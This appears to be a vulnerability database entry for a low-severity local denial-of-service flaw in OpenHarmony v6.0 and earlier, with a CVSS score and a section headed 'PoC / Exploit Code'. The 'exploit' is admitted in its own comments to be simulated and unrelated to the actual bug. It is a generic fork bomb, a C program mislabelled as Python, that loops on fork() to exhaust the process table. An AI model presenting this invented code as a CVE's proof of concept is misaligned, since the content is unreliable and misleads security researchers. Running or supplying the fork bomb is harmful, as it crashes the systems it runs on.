in OpenHarmony v6.0 and prior versions allow a local attacker cause DOS.
CVSS Details
CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
OpenHarmony <= 6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-28751 (OpenHarmony Local DoS)
* This is a simulated Proof of Concept based on the vulnerability description.
* Note: Actual exploit details may vary based on the specific patched component.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
printf("[+] Attempting to trigger DoS on OpenHarmony <= v6.0...");
// Simulation: Triggering the vulnerability via a local resource exhaustion
// or invalid system call sequence.
while(1) {
// Hypothetical vulnerable trigger simulation
// In a real scenario, this would be specific logic causing the crash.
fork(); // Attempting to exhaust process table as a generic DoS example
}
return 0;
}